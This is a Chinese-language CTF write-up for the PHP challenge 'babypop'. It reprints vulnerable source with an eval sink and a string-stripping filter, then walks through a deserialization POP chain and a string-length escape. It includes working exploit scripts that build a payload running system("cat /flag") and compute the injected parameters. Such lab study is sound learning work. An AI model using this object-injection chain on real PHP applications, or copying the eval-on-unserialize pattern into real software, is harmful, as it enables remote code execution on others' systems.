(还是太菜了,看了web方向的wp好多还是我没学过的,看也看不懂,然后因为最近做过反序列化打算磕一磕babypop然后一大串的看着看着发现自己好像又不会了,又去重新补了一下基础,再结合wp自己捋一遍)
题目源码如下:
<?php error_reporting(0); // 关闭所有错误报告 highlight_file(__FILE__); // 高亮显示当前PHP文件源代码 class SecurityProvider { private $token; // 私有属性,存储安全令牌 public function __construct() { $this->token = md5(uniqid()); // 使用唯一ID生成MD5值作为token } public function verify($data) { if (strpos($data, '..') !== false) { // 检查数据中是否包含".."(目录遍历特征) die("Attack Detected"); // 发现攻击则终止脚本 } return $data; // 返回原数据 } } class LogService { protected $handler; // 日志处理器 protected $formatter; // 日志格式化器 public function __construct($handler = null) { $this->handler = $handler; // 设置处理器 $this->formatter = new DateFormatter(); // 默认使用DateFormatter作为格式化器 } public function __destruct() { // 对象销毁时,如果处理器存在且有关闭方法,则调用它 if ($this->handler && method_exists($this->handler, 'close')) { $this->handler->close(); } } } class FileStream { private $path; // 文件路径 private $mode; // 模式(普通或调试) public $content; // 文件内容(公开属性) public function __construct($path, $mode) { $this->path = $path; $this->mode = $mode; } public function close() { if ($this->mode === 'debug' && !empty($this->content)) { // 调试模式下且有内容 $cmd = $this->content; if (strlen($cmd) < 2) return; // 命令长度小于2则返回 @eval($cmd); // 执行eval命令(关键漏洞点) } else { return true; } } } class DateFormatter { public function format($timestamp) { return date('Y-m-d H:i:s', $timestamp); // 格式化时间戳 } } class UserProfile { public $username; // 用户名 public $bio; // 用户简介 public $preference; // 用户偏好设置(存储DateFormatter对象) public function __construct($u, $b) { $this->username = $u; $this->bio = $b; $this->preference = new DateFormatter(); // 默认设置为DateFormatter对象 } } class DataSanitizer { public static function clean($input) { // 移除输入中的所有"hacker"字符串(存在反序列化字符串长度逃逸漏洞) return str_replace("hacker", "", $input); } } // 主程序逻辑开始 $raw_user = $_POST['user'] ?? null; // 获取POST参数user $raw_bio = $_POST['bio'] ?? null; // 获取POST参数bio if ($raw_user && $raw_bio) { $sec = new SecurityProvider(); $sec->verify($raw_user); // 检查user参数是否包含".." $sec->verify($raw_bio); // 检查bio参数是否包含".." $profile = new UserProfile($raw_user, $raw_bio); // 创建UserProfile对象 $data = serialize($profile); // 序列化对象 if (strlen($data) > 4096) { // 检查序列化数据长度 die("Data too long"); } $safe_data = DataSanitizer::clean($data); // 移除所有"hacker"字符串 $unserialized = unserialize($safe_data); // 反序列化处理后的数据 if ($unserialized instanceof UserProfile) { echo "Profile loaded for " . htmlspecialchars($unserialized->username); } } ?>因为之前做的反序列化都是一小串的,直接从头看到尾,然后发现在这里就不行了,顺着看下去看完前面的也忘了,所以这类题目还是倒着看好,先看主程序,再找在主程序中调用的方法。
主程序解读:
主程序首先要以POST方式传user和bio,然后先调用verify(),我们回到之前的代码看看verify是干啥的:
public function verify($data) { if (strpos($data, '..') !== false) { // 检查数据中是否包含".."(目录遍历特征) die("Attack Detected"); // 发现攻击则终止脚本 } return $data; // 返回原数据这里就是防止目录遍历,然后就是实例化Userprofile,那么再回到这个类里:
class UserProfile { public $username; // 用户名 public $bio; // 用户简介 public $preference; // 用户偏好设置(存储DateFormatter对象) public function __construct($u, $b) { $this->username = $u; $this->bio = $b; $this->preference = new DateFormatter(); // 默认设置为DateFormatter对象 } }这里的$u,$b即我们在主程序中上传的两个量,然后这里还设置了一个公共属性的preference,而在这里的preference已经被设置为DateFormatter对象。
后面就是进行序列化,再调用DataSanitizer::clean()移除hacker,最后对其反序列化。
初步分析
这里首先我们要找的是能够执行命令的地方:
public function close() { if ($this->mode === 'debug' && !empty($this->content)) { // 调试模式下且有内容 $cmd = $this->content; if (strlen($cmd) < 2) return; // 命令长度小于2则返回 @eval($cmd); // 执行eval命令(关键漏洞点) } else { return true; } } }在FileStream中调用的close()方法cun存在eval命令,所以我们要找能调用close方法的类,然后看到LogService:
class LogService { protected $handler; // 日志处理器 protected $formatter; // 日志格式化器 public function __construct($handler = null) { $this->handler = $handler; // 设置处理器 $this->formatter = new DateFormatter(); // 默认使用DateFormatter作为格式化器 } public function __destruct() { // 对象销毁时,如果处理器存在且有关闭方法,则调用它 if ($this->handler && method_exists($this->handler, 'close')) { $this->handler->close(); } } }我们构造一个 LogService 对象,并把它的 $handler 属性设置为上面的 FileStream 对象,那么脚本结束时,就会调用close()方法。
然后就要回到之前的UserProfile里面了,preference的属性已经是固定的DataFormatter类,这个在我们构造pop链时没有作用,我们需要的是让preference成为LogService类能去调用close()方法,如果我们直接将bio里面输入preference如;s:10:"preference"只是这个字符串的文本内容,不是PHP序列化语法,所以这里要用到字符串逃逸让我们的preference被当作新的字段定义,成为真正的序列化语法。而这里就能够用到:
class DataSanitizer { public static function clean($input) { // 移除输入中的所有"hacker"字符串(存在反序列化字符串长度逃逸漏洞) return str_replace("hacker", "", $input); } }就比如我们让username为hacker,如果Userprofile是这样的:
O:11:"UserProfile":3:{s:8:"username";s:6:"hacker";s:3:"bio";s:长度:"恶意内容";s:10:"preference";....}那么经过字符串逃逸之后就会变成:
O:11:"UserProfile":3:{s:8:"username";s:6:"";s:3:"bio";s:长度:"恶意内容";s:10:"preference";...}那么后面的字符就会往前补,如果字符结束之后刚好是分号,就代表闭合,后面的就成为了新的字段【即我们所需要的preference】。
脚本构造:
进行上述分析之后,就可以按照wp先构造pop链对象:
<?php class LogService { protected $handler; protected $formatter; public function __construct($h = null) { $this->handler = $h; $this->formatter = new DateFormatter(); } } class FileStream { private $path; private $mode; public $content; public function __construct($p, $m) { $this->path = $p; $this->mode = $m; } } // 1. 最内层:FileStream(执行命令) $f = new FileStream('exploit.log', 'debug'); $f->content = 'system("cat /flag");'; // 2. 中间层:LogService(触发链条) $l = new LogService($f); // $f作为handler // 注意:LogService构造函数会自动设置formatter为DateFormatter // 3. 序列化LogService对象(注意不是UserProfile) $bad = serialize($l); 结果:O:10:"LogService":2:{s:10:"*handler";O:10:"FileStream":3:{s:16:"FileStreampath";s:11:"exploit.log";s:16:"FileStreammode";s:5:"debug";s:7:"content";s:20:"system("cat /flag");";}s:12:"*formatter";O:13:"DateFormatter":0:{}}最后的最后,就是如何设置username和bio前缀的长度来达到刚好闭合的效果,也是利用脚本:
// 步骤2:自动计算字符串逃逸的payload for ($i = 0; $i < 2000; $i++) { // 循环尝试不同的填充长度(0-1999) // 创建填充字符串,i个"A",用于调整总长度 $pad = str_repeat("A", $i); // 构造bio参数的值:填充 + 结束引号 + preference字段定义 + 恶意对象 + 结束符 // 格式:AAAAA";s:10:"preference";O:10:"LogService":{...}}; // 注意:结尾的}; 用于提前结束UserProfile对象 $bio = $pad . '";s:10:"preference";' . $bad . ';}'; // 计算需要被username字段"吃掉"的字符串 // 格式:";s:3:"bio";s:[bio长度]:"AAAAA // 解释: // " - 结束username字符串的引号 // ; - 结束当前值 // s:3:"bio" - bio字段声明 // ; - 结束字段名 // s:[bio长度]:" - bio字段长度声明 // AAAAA - bio值的开头(填充部分) $eat = '";s:3:"bio";s:' . strlen($bio) . ':"' . $pad; // 关键检查:被吃掉的字符串长度必须是6的倍数 // 原因:每个"hacker"被移除时减少6个字符 // 需要n个hacker来创造6n个字符的缺口,正好吞掉$eat if (strlen($eat) % 6 === 0) { // 计算需要多少个"hacker":$eat长度 ÷ 6 $hacker_count = strlen($eat) / 6; // 输出最终的攻击payload // user参数:多个"hacker"(创造字符串逃逸缺口) // bio参数:URL编码后的恶意payload echo "user=" . str_repeat("hacker", $hacker_count) . "&bio=" . urlencode($bio); // 找到第一个可行解就停止 break; } } ?>这里面需要注意的是在源代码中propfile在进行new UserProfile时最后面还是会生成s:10:"preference";O:13:"DateFormatter",但是在脚本中的profile作为新的字段已经表示了Userprofile对象,加上闭合符就代表着}字符告诉PHP:"UserProfile对象到此结束",如果没有:
PHP会继续解析后面的内容
看到默认的
s:10:"preference";O:13:"DateFormatter"但UserProfile已经有一个preference字段了(我们注入的)
一个对象不能有两个同名字段→ 解析失败
这也是字符串逃逸攻击的精妙之处——不仅要注入恶意内容,还要阻止原始内容被解析。
如有错误之处恳请师傅们指正。